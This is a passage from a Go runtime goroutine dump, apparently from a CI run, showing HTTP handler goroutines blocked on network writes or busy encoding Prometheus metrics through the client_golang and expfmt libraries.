	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef260, 0xc021afba00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef260, 0xc021afba00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef260, 0xc021afba00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065680, 0x88ea00, 0xc005eeb000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22374 [chan send]:
github.com/prometheus/client_golang/prometheus.(*MetricVec).Collect(0xc000048f80, 0xc01b56bbc0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/vec.go:70 +0x13a
github.com/prometheus/client_golang/prometheus.(*Registry).Gather.func2(0xc027194a60, 0xc01b56bbc0, 0x88a080, 0xc00000e290)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:433 +0x61
created by github.com/prometheus/client_golang/prometheus.(*Registry).Gather
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:431 +0x2e9

goroutine 21224 [IO wait, 11 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0138, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c2498, 0x77, 0x5a200, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c2480, 0xc021ed0f6f, 0x6ea41, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c2480, 0xc021ed0f6f, 0x6ea41, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e038, 0xc021ed0f6f, 0x6ea41, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064e60, 0xc021ed0f6f, 0x6ea41, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01d8141c0, 0xc021ed0f6f, 0x6ea41, 0x96fa1, 0x1, 0xc000371980, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee9d8, 0xc021ed0000, 0x6f9b0, 0x97f10, 0xc005e69898, 0x642e8e, 0xc000064ee8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01d814840, 0xc021ed0000, 0x6f9b0, 0x97f10, 0x0, 0x0, 0x7f50701ceed0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee9a0, 0x6f9b0, 0xc021ed0000, 0x6f9b0, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc005e69a40, 0x4a11806f)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee9a0, 0xc021ed0000, 0x6f9b0, 0x97f10, 0x77d4c0, 0xc01e670901, 0xc00154b080)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0169da910, 0xc021ed0000, 0x6f9b0, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e040, 0xc002213700)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e040, 0xc002213700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee9a0, 0xc002213700)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee9a0, 0xc002213700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee9a0, 0xc002213700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee9a0, 0xc002213700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064e60, 0x88ea00, 0xc01d814140)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21300 [IO wait, 10 minutes]:
internal/poll.runtime_pollWait(0x7f506e4adf90, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171de818, 0x77, 0x5a300, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171de800, 0xc022964f6f, 0x6eb79, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171de800, 0xc022964f6f, 0x6eb79, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000f038, 0xc022964f6f, 0x6eb79, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc0000654a0, 0xc022964f6f, 0x6eb79, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc0026ec8c0, 0xc022964f6f, 0x6eb79, 0x96fa1, 0x1, 0xc000371b00, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef378, 0xc022964000, 0x6fae8, 0x97f10, 0xc0094b5898, 0x642e8e, 0xc000065528)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0026ec980, 0xc022964000, 0x6fae8, 0x97f10, 0x0, 0x0, 0xc022f954f0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef340, 0x6fae8, 0xc022964000, 0x6fae8, 0x97f10, 0x0, 0x0, 0x412890, 0xc0094b5a40, 0x947a1836)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef340, 0xc022964000, 0x6fae8, 0x97f10, 0x77d4c0, 0x1ff, 0x200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc00947c1e0, 0xc022964000, 0x6fae8, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f040, 0xc01a545800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f040, 0xc01a545800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef340, 0xc01a545800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef340, 0xc01a545800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef340, 0xc01a545800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef340, 0xc01a545800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc0000654a0, 0x88ea00, 0xc0026ec880)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22155 [runnable]:
compress/gzip.(*Writer).Write(0xc00c642210, 0xc02686f400, 0x191, 0x500, 0x3, 0x3, 0x409639)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/gzip/gzip.go:139 +0x4ef
fmt.Fprintf(0x886700, 0xc00c642210, 0x80645f, 0x9, 0xc024875630, 0x3, 0x3, 0xd, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/fmt/print.go:200 +0xa5
github.com/prometheus/common/expfmt.labelPairsToText(0xc017cac690, 0x5, 0x5, 0x805044, 0x2, 0xc027b614f8, 0x5, 0x886700, 0xc00c642210, 0xc0248756f8, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:259 +0x22a
github.com/prometheus/common/expfmt.writeSample(0xc027b6c450, 0x30, 0xc00df19da0, 0x805044, 0x2, 0xc027b614f8, 0x5, 0x0, 0x886700, 0xc00c642210, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:212 +0x139
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c642210, 0xc005792c30, 0x395de1, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:142 +0xb5f
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc005792c30, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc01180f9a0, 0xc005792c30, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f5c0, 0xc004942c00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f5c0, 0xc004942c00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121eb60, 0xc004942c00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121eb60, 0xc004942c00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121eb60, 0xc004942c00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121eb60, 0xc004942c00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c320, 0x88ea00, 0xc00c0e3700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21944 [IO wait, 3 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad500, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171dff98, 0x77, 0x5cc00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171dff80, 0xc022e24f6f, 0x71421, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171dff80, 0xc022e24f6f, 0x71421, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000eba0, 0xc022e24f6f, 0x71421, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065cc0, 0xc022e24f6f, 0x71421, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01d94bc00, 0xc022e24f6f, 0x71421, 0x96fa1, 0x1, 0xc000371e00, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015efa78, 0xc022e24000, 0x72390, 0x97f10, 0xc01c5e1898, 0x642e8e, 0xc000065d48)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01d94bcc0, 0xc022e24000, 0x72390, 0x97f10, 0x0, 0x0, 0x7f50701ceed0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015efa40, 0x72390, 0xc022e24000, 0x72390, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01c5e1a40, 0xb9f01a81)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015efa40, 0xc022e24000, 0x72390, 0x97f10, 0x77d4c0, 0xc013659301, 0xc00154b8c0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0169db6d0, 0xc022e24000, 0x72390, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000eba8, 0xc0073fa600)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000eba8, 0xc0073fa600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015efa40, 0xc0073fa600)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015efa40, 0xc0073fa600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015efa40, 0xc0073fa600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015efa40, 0xc0073fa600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065cc0, 0x88ea00, 0xc01d94bbc0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21318 [IO wait, 10 minutes]:
internal/poll.runtime_pollWait(0x7f506e4adec0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171df218, 0x77, 0x5a300, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171df200, 0xc022b9af6f, 0x6eb9e, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171df200, 0xc022b9af6f, 0x6eb9e, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000f620, 0xc022b9af6f, 0x6eb9e, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065540, 0xc022b9af6f, 0x6eb9e, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc0187475c0, 0xc022b9af6f, 0x6eb9e, 0x96fa1, 0x1, 0xc007124000, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef538, 0xc022b9a000, 0x6fb0d, 0x97f10, 0xc0094b3898, 0x642e8e, 0xc0000655c8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0187476c0, 0xc022b9a000, 0x6fb0d, 0x97f10, 0x0, 0x0, 0xc01fff0f20)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef500, 0x6fb0d, 0xc022b9a000, 0x6fb0d, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0094b3a40, 0xcb5e6b07)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef500, 0xc022b9a000, 0x6fb0d, 0x97f10, 0x77d4c0, 0xc01d7a1001, 0xc00497d4a0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc00947d180, 0xc022b9a000, 0x6fb0d, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f628, 0xc0145fdc00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f628, 0xc0145fdc00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef500, 0xc0145fdc00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef500, 0xc0145fdc00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef500, 0xc0145fdc00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef500, 0xc0145fdc00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065540, 0x88ea00, 0xc018747580)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22094 [IO wait, 1 minutes]:
internal/poll.runtime_pollWait(0x7f506e1792e0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c2898, 0x77, 0x5d200, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c2880, 0xc0220bef6f, 0x71ab6, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c2880, 0xc0220bef6f, 0x71ab6, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e4d8, 0xc0220bef6f, 0x71ab6, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc00742c140, 0xc0220bef6f, 0x71ab6, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc001bd40c0, 0xc0220bef6f, 0x71ab6, 0x96fa1, 0x1, 0xc007124180, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e2d8, 0xc0220be000, 0x72a25, 0x97f10, 0xc02487b898, 0x642e8e, 0xc00742c1c8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc001bd4180, 0xc0220be000, 0x72a25, 0x97f10, 0x0, 0x0, 0x7f506ee35c70)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e2a0, 0x72a25, 0xc0220be000, 0x72a25, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc02487ba40, 0x54d052e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e2a0, 0xc0220be000, 0x72a25, 0x97f10, 0x77d4c0, 0xc015f49d01, 0xc00497cc60)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0079fbb80, 0xc0220be000, 0x72a25, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e4e0, 0xc011810f00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e4e0, 0xc011810f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e2a0, 0xc011810f00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e2a0, 0xc011810f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e2a0, 0xc011810f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e2a0, 0xc011810f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c140, 0x88ea00, 0xc001bd4080)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22306 [runnable]:
github.com/prometheus/common/expfmt.labelPairsToText(0xc005accdb0, 0x5, 0x5, 0x0, 0x0, 0x0, 0x0, 0x886700, 0xc00c643550, 0xc00e9856f8, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:260 +0x11d
github.com/prometheus/common/expfmt.writeSample(0xc027fde0c0, 0x2f, 0xc00b2b4fc0, 0x0, 0x0, 0x0, 0x0, 0x3ff0000000000000, 0x886700, 0xc00c643550, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:212 +0x139
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c643550, 0xc020d389b0, 0x39ffa4, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:177 +0xdb3
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc020d389b0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc012596560, 0xc020d389b0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000eb10, 0xc02461f800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000eb10, 0xc02461f800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121ec40, 0xc02461f800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121ec40, 0xc02461f800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121ec40, 0xc02461f800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121ec40, 0xc02461f800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
